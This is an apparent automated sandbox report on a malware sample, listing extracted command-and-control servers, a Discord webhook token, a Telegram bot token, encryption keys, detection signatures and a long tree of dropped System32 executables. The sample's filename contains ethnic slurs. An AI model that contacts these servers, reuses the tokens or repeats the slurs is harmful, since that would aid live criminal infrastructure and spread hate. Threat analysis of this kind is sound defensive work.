Resubmissions
30/06/2026, 11:49
260630-nzah8ses7k1016/06/2026, 03:33
260616-d4b8hshy8t1007/05/2026, 21:01
260507-zvbraaes7r1004/05/2026, 15:47
260504-s76c4aaz9p1015/04/2026, 19:23
260415-x3t7gsgy9k1011/04/2026, 01:51
260411-b9373sey8l1019/02/2026, 13:04
260219-qa283agv7b1011/02/2026, 00:05
260211-ac94pact4d1003/02/2026, 09:03
260203-k1dqhaaw4c1002/02/2026, 19:45
260202-yggvpsa18h10Analysis
- max time kernel
7s - max time network
282s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
02/11/2025, 22:18
Errors
Reason
Machine shutdown
General
- Target jewjewjewrapernigger.exe
- Size 66.0MB
- Sample251102-1776patpds
- SHA256 77fb832052abc29f8392e50a83571fda0a9a44fc14c485bc9ae58b37ca51b00e
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
3.0
C2
-
82.26.74.39:7000
Mutex
-
Pzco4SpJSHq0JUVI
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
aes.plain
Extracted
Family
-
stealc
Botnet
-
avtostopom
C2
-
http://45.141.233.187
Attributes
-
url_path
/7d1ca61c169b4862.php
rc4.plain
Extracted
Family
-
redline
Botnet
-
jajaja
C2
-
176.46.152.46:1911
Extracted
Family
-
neconyd
C2
-
http://ow5dirasuek.com/
-
http://mkkuei4kdsz.com/
-
http://lousta.net/
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
understand-vip.gl.at.ply.gg:21304
Mutex
-
966bc060-4ea7-43bd-9b30-06988ea8ba79
Attributes
-
encryption_key
7FE83CB9F9DEA14FFA20DB6F8CD68A42656137B4
-
install_name
Cleaner.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
MsEdge
-
subdirectory
SubDir
Extracted
Family
-
umbral
Version
-
v1.3
C2
-
https://discord.com/api/webhooks/1399894662365577257/NMqgSKeL5lfvgkhf3U7otcHEUlUdExlRehLumOM1uhIYrXB5YDsltdJihrITmZu28SVz
Extracted
Family
-
redline
Botnet
-
rdp
C2
-
mail-eco.gl.at.ply.gg:15149
Extracted
Family
-
quasar
Attributes
-
encryption_key
6D4A4249F385558E6764D6D6FE7C7D31F942200B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
Family
-
xworm
C2
-
uchiwa5.duckdns.org:8887
-
176.160.157.96:8887
Attributes
-
Install_directory
%Temp%
-
install_file
jusched.exe
-
telegram
https://api.telegram.org/bot8448593287:AAFc0LIng6HbvfJ438DToxjA_1MQ2pwqTt8/sendMessage?chat_id=1781548144
Extracted
Family
-
blihanstealer
Mutex
-
pomdfghrt
Attributes
-
user_agent
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; CIBA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Extracted
Family
-
smokeloader
Botnet
-
555
Extracted
Family
-
vidar
Version
-
14.9
Botnet
-
6ff1fd60fb5387f3c93619f2e30e125f
C2
-
https://t.me/ty5e4q
-
https://steamcommunity.com/profiles/76561199884432485
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Extracted
Family
-
lumma
C2
-
https://stolewnica.ru/xjuf
-
https://mastwin.in/qsaz
-
https://ordinarniyvrach.ru/xiur
-
https://yamakrug.ru/lzka
-
https://vishneviyjazz.ru/neco
-
https://yrokistorii.ru/uqya
-
https://visokiywkaf.ru/mmtn
-
https://kletkamozga.ru/iwyq
Attributes
-
build_id
183c347859ef8d191a6ff2ec0670880da237bd8434
Signatures
- Blackmoon family
- Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
- BlihanStealer
Blihan is a stealer written in C++.
- Blihanstealer family
- Cobalt Strike reflective loader 1 IoCs
Detects the reflective loader used by Cobalt Strike.
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Cobaltstrike family
- Cosmu
Cosmu is a Windows worm written in C++.
- Cosmu family
- Detect Blackmoon payload 18 IoCs
- Detect PurpleFox Rootkit 4 IoCs
Detect PurpleFox Rootkit.
- Detect Vidar Stealer 1 IoCs
- Detect Xworm Payload 4 IoCs
- Detects Cosmu payload 1 IoCs
Cosmu is a worm written in C++.
- Detects Umbral payload 2 IoCs
- Detects Vidar Stealer 1 IoCs
- Gh0st RAT payload 4 IoCs
- Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Gh0strat family
- Gink
- Gink family
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Lockbit family
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Mimikatz family
- Neconyd
Neconyd is a trojan written in C++.
- Neconyd family
- PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
- Purplefox family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 5 IoCs
- Ramnit
Ramnit is a versatile family that holds viruses, worms, and Trojans.
- Ramnit family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- Redline family
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 4 IoCs
- Sectoprat family
- Sliver RAT v2 1 IoCs
- Sliver family
- SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Smokeloader family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Umbral family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xmrig family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- XMRig Miner payload 64 IoCs
- mimikatz is an open source tool to dump credentials on Windows 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 40 IoCs
- Stops running service(s) 4 TTPs
- Themida packer 13 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 25 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 7 IoCs
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 10 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Modifies registry class 5 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 17 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\jewjewjewrapernigger.exe"C:\Users\Admin\AppData\Local\Temp\jewjewjewrapernigger.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny67.exe"C:\Users\Admin\AppData\Local\Temp\funny67.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\POqIOaS.exeC:\Windows\System32\POqIOaS.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\HrtztxW.exeC:\Windows\System32\HrtztxW.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\mGkuNaG.exeC:\Windows\System32\mGkuNaG.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\jIPxjfK.exeC:\Windows\System32\jIPxjfK.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\SIBZjDF.exeC:\Windows\System32\SIBZjDF.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\MuNZkYl.exeC:\Windows\System32\MuNZkYl.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\hCyvVjI.exeC:\Windows\System32\hCyvVjI.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\YbYOhpO.exeC:\Windows\System32\YbYOhpO.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\oHEtJVS.exeC:\Windows\System32\oHEtJVS.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\RCzHEAi.exeC:\Windows\System32\RCzHEAi.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WpnCEeQ.exeC:\Windows\System32\WpnCEeQ.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\jbahVyH.exeC:\Windows\System32\jbahVyH.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\hZjeTyE.exeC:\Windows\System32\hZjeTyE.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\Gccticy.exeC:\Windows\System32\Gccticy.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\EaWpYnX.exeC:\Windows\System32\EaWpYnX.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\bYKCXIc.exeC:\Windows\System32\bYKCXIc.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\IfqJcUT.exeC:\Windows\System32\IfqJcUT.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\feBltfO.exeC:\Windows\System32\feBltfO.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\eYJvsZS.exeC:\Windows\System32\eYJvsZS.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\hHGiEla.exeC:\Windows\System32\hHGiEla.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\rNjBsLH.exeC:\Windows\System32\rNjBsLH.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\xiJQVjt.exeC:\Windows\System32\xiJQVjt.exe3⤵
-
-
C:\Windows\System32\VNaTcAf.exeC:\Windows\System32\VNaTcAf.exe3⤵
-
-
C:\Windows\System32\iXfmBtc.exeC:\Windows\System32\iXfmBtc.exe3⤵
-
-
C:\Windows\System32\LIuhpLG.exeC:\Windows\System32\LIuhpLG.exe3⤵
-
-
C:\Windows\System32\bsviBMF.exeC:\Windows\System32\bsviBMF.exe3⤵
-
-
C:\Windows\System32\LTcVvOm.exeC:\Windows\System32\LTcVvOm.exe3⤵
-
-
C:\Windows\System32\VFSFvJH.exeC:\Windows\System32\VFSFvJH.exe3⤵
-
-
C:\Windows\System32\nrOrpan.exeC:\Windows\System32\nrOrpan.exe3⤵
-
-
C:\Windows\System32\lbzGQIb.exeC:\Windows\System32\lbzGQIb.exe3⤵
-
-
C:\Windows\System32\haZEjre.exeC:\Windows\System32\haZEjre.exe3⤵
-
-
C:\Windows\System32\OYZQPVY.exeC:\Windows\System32\OYZQPVY.exe3⤵
-
-
C:\Windows\System32\CIHUhii.exeC:\Windows\System32\CIHUhii.exe3⤵
-
-
C:\Windows\System32\VcYCAEY.exeC:\Windows\System32\VcYCAEY.exe3⤵
-
-
C:\Windows\System32\vRjqWGc.exeC:\Windows\System32\vRjqWGc.exe3⤵
-
-
C:\Windows\System32\bRNDlOQ.exeC:\Windows\System32\bRNDlOQ.exe3⤵
-
-
C:\Windows\System32\MchqFSA.exeC:\Windows\System32\MchqFSA.exe3⤵
-
-
C:\Windows\System32\zFSDTJO.exeC:\Windows\System32\zFSDTJO.exe3⤵
-
-
C:\Windows\System32\wsrIWQz.exeC:\Windows\System32\wsrIWQz.exe3⤵
-
-
C:\Windows\System32\TKqtiji.exeC:\Windows\System32\TKqtiji.exe3⤵
-
-
C:\Windows\System32\pDdfIHx.exeC:\Windows\System32\pDdfIHx.exe3⤵
-
-
C:\Windows\System32\HJIacIx.exeC:\Windows\System32\HJIacIx.exe3⤵
-
-
C:\Windows\System32\mByzKuj.exeC:\Windows\System32\mByzKuj.exe3⤵
-
-
C:\Windows\System32\YFxsffQ.exeC:\Windows\System32\YFxsffQ.exe3⤵
-
-
C:\Windows\System32\ICFdsiG.exeC:\Windows\System32\ICFdsiG.exe3⤵
-
-
C:\Windows\System32\LmHOJXi.exeC:\Windows\System32\LmHOJXi.exe3⤵
-
-
C:\Windows\System32\jDQOPgf.exeC:\Windows\System32\jDQOPgf.exe3⤵
-
-
C:\Windows\System32\qRJTKPS.exeC:\Windows\System32\qRJTKPS.exe3⤵
-
-
C:\Windows\System32\uaFxfBU.exeC:\Windows\System32\uaFxfBU.exe3⤵
-
-
C:\Windows\System32\wAmqJES.exeC:\Windows\System32\wAmqJES.exe3⤵
-
-
C:\Windows\System32\fsPKfvm.exeC:\Windows\System32\fsPKfvm.exe3⤵
-
-
C:\Windows\System32\clvufub.exeC:\Windows\System32\clvufub.exe3⤵
-
-
C:\Windows\System32\UDZGrhG.exeC:\Windows\System32\UDZGrhG.exe3⤵
-
-
C:\Windows\System32\fdMiIQM.exeC:\Windows\System32\fdMiIQM.exe3⤵
-
-
C:\Windows\System32\oWbaRBQ.exeC:\Windows\System32\oWbaRBQ.exe3⤵
-
-
C:\Windows\System32\wvLTvwF.exeC:\Windows\System32\wvLTvwF.exe3⤵
-
-
C:\Windows\System32\StcTfuR.exeC:\Windows\System32\StcTfuR.exe3⤵
-
-
C:\Windows\System32\HglbJtQ.exeC:\Windows\System32\HglbJtQ.exe3⤵
-
-
C:\Windows\System32\FsbhcMY.exeC:\Windows\System32\FsbhcMY.exe3⤵
-
-
C:\Windows\System32\aYVsnLl.exeC:\Windows\System32\aYVsnLl.exe3⤵
-
-
C:\Windows\System32\bqvNnyb.exeC:\Windows\System32\bqvNnyb.exe3⤵
-
-
C:\Windows\System32\FEJeXfV.exeC:\Windows\System32\FEJeXfV.exe3⤵
-
-
C:\Windows\System32\XLumSRI.exeC:\Windows\System32\XLumSRI.exe3⤵
-
-
C:\Windows\System32\coRdaDG.exeC:\Windows\System32\coRdaDG.exe3⤵
-
-
C:\Windows\System32\UFClgoC.exeC:\Windows\System32\UFClgoC.exe3⤵
-
-
C:\Windows\System32\SQfLrvn.exeC:\Windows\System32\SQfLrvn.exe3⤵
-
-
C:\Windows\System32\ENDTGFc.exeC:\Windows\System32\ENDTGFc.exe3⤵
-
-
C:\Windows\System32\cDtbcIb.exeC:\Windows\System32\cDtbcIb.exe3⤵
-
-
C:\Windows\System32\lxKodwp.exeC:\Windows\System32\lxKodwp.exe3⤵
-
-
C:\Windows\System32\cOoiWDs.exeC:\Windows\System32\cOoiWDs.exe3⤵
-
-
C:\Windows\System32\VryxGWS.exeC:\Windows\System32\VryxGWS.exe3⤵
-
-
C:\Windows\System32\IunsprY.exeC:\Windows\System32\IunsprY.exe3⤵
-
-
C:\Windows\System32\CmIAest.exeC:\Windows\System32\CmIAest.exe3⤵
-
-
C:\Windows\System32\vzAjxzB.exeC:\Windows\System32\vzAjxzB.exe3⤵
-
-
C:\Windows\System32\pCshdkQ.exeC:\Windows\System32\pCshdkQ.exe3⤵
-
-
C:\Windows\System32\ZkYzEph.exeC:\Windows\System32\ZkYzEph.exe3⤵
-
-
C:\Windows\System32\BjxmIgg.exeC:\Windows\System32\BjxmIgg.exe3⤵
-
-
C:\Windows\System32\LbRylWv.exeC:\Windows\System32\LbRylWv.exe3⤵
-
-
C:\Windows\System32\CFnHxZW.exeC:\Windows\System32\CFnHxZW.exe3⤵
-
-
C:\Windows\System32\OLpeIqR.exeC:\Windows\System32\OLpeIqR.exe3⤵
-
-
C:\Windows\System32\gkOwJiN.exeC:\Windows\System32\gkOwJiN.exe3⤵
-
-
C:\Windows\System32\kydPaNL.exeC:\Windows\System32\kydPaNL.exe3⤵
-
-
C:\Windows\System32\ThoITOb.exeC:\Windows\System32\ThoITOb.exe3⤵
-
-
C:\Windows\System32\DvFARkD.exeC:\Windows\System32\DvFARkD.exe3⤵
-
-
C:\Windows\System32\aYNmdPe.exeC:\Windows\System32\aYNmdPe.exe3⤵
-
-
C:\Windows\System32\lJUHtWN.exeC:\Windows\System32\lJUHtWN.exe3⤵
-
-
C:\Windows\System32\RdqULQX.exeC:\Windows\System32\RdqULQX.exe3⤵
-
-
C:\Windows\System32\bxnytDe.exeC:\Windows\System32\bxnytDe.exe3⤵
-
-
C:\Windows\System32\OPHSZeI.exeC:\Windows\System32\OPHSZeI.exe3⤵
-
-
C:\Windows\System32\XiGRbEl.exeC:\Windows\System32\XiGRbEl.exe3⤵
-
-
C:\Windows\System32\JssAUFK.exeC:\Windows\System32\JssAUFK.exe3⤵
-
-
C:\Windows\System32\jmgxNEx.exeC:\Windows\System32\jmgxNEx.exe3⤵
-
-
C:\Windows\System32\xdOqFzz.exeC:\Windows\System32\xdOqFzz.exe3⤵
-
-
C:\Windows\System32\OSBSeHq.exeC:\Windows\System32\OSBSeHq.exe3⤵
-
-
C:\Windows\System32\LTFJSpW.exeC:\Windows\System32\LTFJSpW.exe3⤵
-
-
C:\Windows\System32\WlxzvSs.exeC:\Windows\System32\WlxzvSs.exe3⤵
-
-
C:\Windows\System32\AzkzYdg.exeC:\Windows\System32\AzkzYdg.exe3⤵
-
-
C:\Windows\System32\FKrlocw.exeC:\Windows\System32\FKrlocw.exe3⤵
-
-
C:\Windows\System32\xxQehgg.exeC:\Windows\System32\xxQehgg.exe3⤵
-
-
C:\Windows\System32\kYsYQcC.exeC:\Windows\System32\kYsYQcC.exe3⤵
-
-
C:\Windows\System32\yESDTDc.exeC:\Windows\System32\yESDTDc.exe3⤵
-
-
C:\Windows\System32\HhpqmoH.exeC:\Windows\System32\HhpqmoH.exe3⤵
-
-
C:\Windows\System32\aSmjuaY.exeC:\Windows\System32\aSmjuaY.exe3⤵
-
-
C:\Windows\System32\nGmikvK.exeC:\Windows\System32\nGmikvK.exe3⤵
-
-
C:\Windows\System32\SsTOldv.exeC:\Windows\System32\SsTOldv.exe3⤵
-
-
C:\Windows\System32\EdVfdaR.exeC:\Windows\System32\EdVfdaR.exe3⤵
-
-
C:\Windows\System32\cxfjCoT.exeC:\Windows\System32\cxfjCoT.exe3⤵
-
-
C:\Windows\System32\bbMaVpy.exeC:\Windows\System32\bbMaVpy.exe3⤵
-
-
C:\Windows\System32\SlZRSBw.exeC:\Windows\System32\SlZRSBw.exe3⤵
-
-
C:\Windows\System32\ijvQDEl.exeC:\Windows\System32\ijvQDEl.exe3⤵
-
-
C:\Windows\System32\aSqDKTL.exeC:\Windows\System32\aSqDKTL.exe3⤵
-
-
C:\Windows\System32\kjzhDBw.exeC:\Windows\System32\kjzhDBw.exe3⤵
-
-
C:\Windows\System32\rfCqQcE.exeC:\Windows\System32\rfCqQcE.exe3⤵
-
-
C:\Windows\System32\ClrjgQS.exeC:\Windows\System32\ClrjgQS.exe3⤵
-
-
C:\Windows\System32\ZGrDACR.exeC:\Windows\System32\ZGrDACR.exe3⤵
-
-
C:\Windows\System32\usEOdGZ.exeC:\Windows\System32\usEOdGZ.exe3⤵
-
-
C:\Windows\System32\edDdccC.exeC:\Windows\System32\edDdccC.exe3⤵
-
-
C:\Windows\System32\fwffZne.exeC:\Windows\System32\fwffZne.exe3⤵
-
-
C:\Windows\System32\FYhUbgk.exeC:\Windows\System32\FYhUbgk.exe3⤵
-
-
C:\Windows\System32\SKtaNwS.exeC:\Windows\System32\SKtaNwS.exe3⤵
-
-
C:\Windows\System32\nefViYr.exeC:\Windows\System32\nefViYr.exe3⤵
-
-
C:\Windows\System32\eksnjRV.exeC:\Windows\System32\eksnjRV.exe3⤵
-
-
C:\Windows\System32\OUbllaN.exeC:\Windows\System32\OUbllaN.exe3⤵
-
-
C:\Windows\System32\yiStMpm.exeC:\Windows\System32\yiStMpm.exe3⤵
-
-
C:\Windows\System32\downJxJ.exeC:\Windows\System32\downJxJ.exe3⤵
-
-
C:\Windows\System32\UVKnYcn.exeC:\Windows\System32\UVKnYcn.exe3⤵
-
-
C:\Windows\System32\JYfRODV.exeC:\Windows\System32\JYfRODV.exe3⤵
-
-
C:\Windows\System32\vUgNWEH.exeC:\Windows\System32\vUgNWEH.exe3⤵
-
-
C:\Windows\System32\CPQKZhm.exeC:\Windows\System32\CPQKZhm.exe3⤵
-
-
C:\Windows\System32\waQdgBt.exeC:\Windows\System32\waQdgBt.exe3⤵
-
-
C:\Windows\System32\zCqTDZv.exeC:\Windows\System32\zCqTDZv.exe3⤵
-
-
C:\Windows\System32\JSpWMur.exeC:\Windows\System32\JSpWMur.exe3⤵
-
-
C:\Windows\System32\GUafPwx.exeC:\Windows\System32\GUafPwx.exe3⤵
-
-
C:\Windows\System32\luhjHYa.exeC:\Windows\System32\luhjHYa.exe3⤵
-
-
C:\Windows\System32\ouLJxML.exeC:\Windows\System32\ouLJxML.exe3⤵
-
-
C:\Windows\System32\JKdvVVS.exeC:\Windows\System32\JKdvVVS.exe3⤵
-
-
C:\Windows\System32\FAePldn.exeC:\Windows\System32\FAePldn.exe3⤵
-
-
C:\Windows\System32\uWXtuhZ.exeC:\Windows\System32\uWXtuhZ.exe3⤵
-
-
C:\Windows\System32\vdNaBZc.exeC:\Windows\System32\vdNaBZc.exe3⤵
-
-
C:\Windows\System32\HwCJCSb.exeC:\Windows\System32\HwCJCSb.exe3⤵
-
-
C:\Windows\System32\zSipEdl.exeC:\Windows\System32\zSipEdl.exe3⤵
-
-
C:\Windows\System32\IiUQzuO.exeC:\Windows\System32\IiUQzuO.exe3⤵
-
-
C:\Windows\System32\NTmCFdX.exeC:\Windows\System32\NTmCFdX.exe3⤵
-
-
C:\Windows\System32\IzrmKkT.exeC:\Windows\System32\IzrmKkT.exe3⤵
-
-
C:\Windows\System32\BFzUbuq.exeC:\Windows\System32\BFzUbuq.exe3⤵
-
-
C:\Windows\System32\iQQwHHG.exeC:\Windows\System32\iQQwHHG.exe3⤵
-
-
C:\Windows\System32\eXWRGjU.exeC:\Windows\System32\eXWRGjU.exe3⤵
-
-
C:\Windows\System32\FOuLgwO.exeC:\Windows\System32\FOuLgwO.exe3⤵
-
-
C:\Windows\System32\UlSKehG.exeC:\Windows\System32\UlSKehG.exe3⤵
-
-
C:\Windows\System32\kHzGXmx.exeC:\Windows\System32\kHzGXmx.exe3⤵
-
-
C:\Windows\System32\FpkjJaC.exeC:\Windows\System32\FpkjJaC.exe3⤵
-
-
C:\Windows\System32\yZbsRYR.exeC:\Windows\System32\yZbsRYR.exe3⤵
-
-
C:\Windows\System32\JqkRfbh.exeC:\Windows\System32\JqkRfbh.exe3⤵
-
-
C:\Windows\System32\NhRDxDP.exeC:\Windows\System32\NhRDxDP.exe3⤵
-
-
C:\Windows\System32\pvPNKHo.exeC:\Windows\System32\pvPNKHo.exe3⤵
-
-
C:\Windows\System32\BuPqBZZ.exeC:\Windows\System32\BuPqBZZ.exe3⤵
-
-
C:\Windows\System32\FYpHWgZ.exeC:\Windows\System32\FYpHWgZ.exe3⤵
-
-
C:\Windows\System32\fZMnyfY.exeC:\Windows\System32\fZMnyfY.exe3⤵
-
-
C:\Windows\System32\hULOXcd.exeC:\Windows\System32\hULOXcd.exe3⤵
-
-
C:\Windows\System32\goYszHl.exeC:\Windows\System32\goYszHl.exe3⤵
-
-
C:\Windows\System32\hpyeqSJ.exeC:\Windows\System32\hpyeqSJ.exe3⤵
-
-
C:\Windows\System32\vJOubwV.exeC:\Windows\System32\vJOubwV.exe3⤵
-
-
C:\Windows\System32\xKMlgUy.exeC:\Windows\System32\xKMlgUy.exe3⤵
-
-
C:\Windows\System32\lOUdIzk.exeC:\Windows\System32\lOUdIzk.exe3⤵
-
-
C:\Windows\System32\ySKXBiJ.exeC:\Windows\System32\ySKXBiJ.exe3⤵
-
-
C:\Windows\System32\MFaxnSa.exeC:\Windows\System32\MFaxnSa.exe3⤵
-
-
C:\Windows\System32\QohOkuh.exeC:\Windows\System32\QohOkuh.exe3⤵
-
-
C:\Windows\System32\GLWVqjz.exeC:\Windows\System32\GLWVqjz.exe3⤵
-
-
C:\Windows\System32\fYTBXNp.exeC:\Windows\System32\fYTBXNp.exe3⤵
-
-
C:\Windows\System32\CaoaeJS.exeC:\Windows\System32\CaoaeJS.exe3⤵
-
-
C:\Windows\System32\ouOSSJA.exeC:\Windows\System32\ouOSSJA.exe3⤵
-
-
C:\Windows\System32\LSWwmAA.exeC:\Windows\System32\LSWwmAA.exe3⤵
-
-
C:\Windows\System32\ZGsPdck.exeC:\Windows\System32\ZGsPdck.exe3⤵
-
-
C:\Windows\System32\FEgaojg.exeC:\Windows\System32\FEgaojg.exe3⤵
-
-
C:\Windows\System32\dLBoawe.exeC:\Windows\System32\dLBoawe.exe3⤵
-
-
C:\Windows\System32\lKVykjm.exeC:\Windows\System32\lKVykjm.exe3⤵
-
-
C:\Windows\System32\vAHwgUb.exeC:\Windows\System32\vAHwgUb.exe3⤵
-
-
C:\Windows\System32\uHDEPHv.exeC:\Windows\System32\uHDEPHv.exe3⤵
-
-
C:\Windows\System32\BxjDtlx.exeC:\Windows\System32\BxjDtlx.exe3⤵
-
-
C:\Windows\System32\EsdjFKK.exeC:\Windows\System32\EsdjFKK.exe3⤵
-
-
C:\Windows\System32\XJTyxbi.exeC:\Windows\System32\XJTyxbi.exe3⤵
-
-
C:\Windows\System32\mLjsXQH.exeC:\Windows\System32\mLjsXQH.exe3⤵
-
-
C:\Windows\System32\PZdDQoX.exeC:\Windows\System32\PZdDQoX.exe3⤵
-
-
C:\Windows\System32\jvmwXrP.exeC:\Windows\System32\jvmwXrP.exe3⤵
-
-
C:\Windows\System32\gKfMvUj.exeC:\Windows\System32\gKfMvUj.exe3⤵
-
-
C:\Windows\System32\HqWORQn.exeC:\Windows\System32\HqWORQn.exe3⤵
-
-
C:\Windows\System32\xmuLyEP.exeC:\Windows\System32\xmuLyEP.exe3⤵
-
-
C:\Windows\System32\iMbeINu.exeC:\Windows\System32\iMbeINu.exe3⤵
-
-
C:\Windows\System32\yAtjMoF.exeC:\Windows\System32\yAtjMoF.exe3⤵
-
-
C:\Windows\System32\rxTQAfB.exeC:\Windows\System32\rxTQAfB.exe3⤵
-
-
C:\Windows\System32\vZVYEze.exeC:\Windows\System32\vZVYEze.exe3⤵
-
-
C:\Windows\System32\cODbOYZ.exeC:\Windows\System32\cODbOYZ.exe3⤵
-
-
C:\Windows\System32\nVfkoSh.exeC:\Windows\System32\nVfkoSh.exe3⤵
-
-
C:\Windows\System32\XWleJio.exeC:\Windows\System32\XWleJio.exe3⤵
-
-
C:\Windows\System32\gxnCMzE.exeC:\Windows\System32\gxnCMzE.exe3⤵
-
-
C:\Windows\System32\ioJhyrW.exeC:\Windows\System32\ioJhyrW.exe3⤵
-
-
C:\Windows\System32\ShhLRzD.exeC:\Windows\System32\ShhLRzD.exe3⤵
-
-
C:\Windows\System32\JRusteX.exeC:\Windows\System32\JRusteX.exe3⤵
-
-
C:\Windows\System32\IGdcCrK.exeC:\Windows\System32\IGdcCrK.exe3⤵
-
-
C:\Windows\System32\NcSaNae.exeC:\Windows\System32\NcSaNae.exe3⤵
-
-
C:\Windows\System32\EWEKivF.exeC:\Windows\System32\EWEKivF.exe3⤵
-
-
C:\Windows\System32\EeuyzkG.exeC:\Windows\System32\EeuyzkG.exe3⤵
-
-
C:\Windows\System32\WRcmeSK.exeC:\Windows\System32\WRcmeSK.exe3⤵
-
-
C:\Windows\System32\lMWDWUs.exeC:\Windows\System32\lMWDWUs.exe3⤵
-
-
C:\Windows\System32\rUHGRmf.exeC:\Windows\System32\rUHGRmf.exe3⤵
-
-
C:\Windows\System32\BFHqrgp.exeC:\Windows\System32\BFHqrgp.exe3⤵
-
-
C:\Windows\System32\MkhqSeP.exeC:\Windows\System32\MkhqSeP.exe3⤵
-
-
C:\Windows\System32\cZUkvqi.exeC:\Windows\System32\cZUkvqi.exe3⤵
-
-
C:\Windows\System32\iCpEPXX.exeC:\Windows\System32\iCpEPXX.exe3⤵
-
-
C:\Windows\System32\bruTpMp.exeC:\Windows\System32\bruTpMp.exe3⤵
-
-
C:\Windows\System32\PrTkNon.exeC:\Windows\System32\PrTkNon.exe3⤵
-
-
C:\Windows\System32\bFkPdVl.exeC:\Windows\System32\bFkPdVl.exe3⤵
-
-
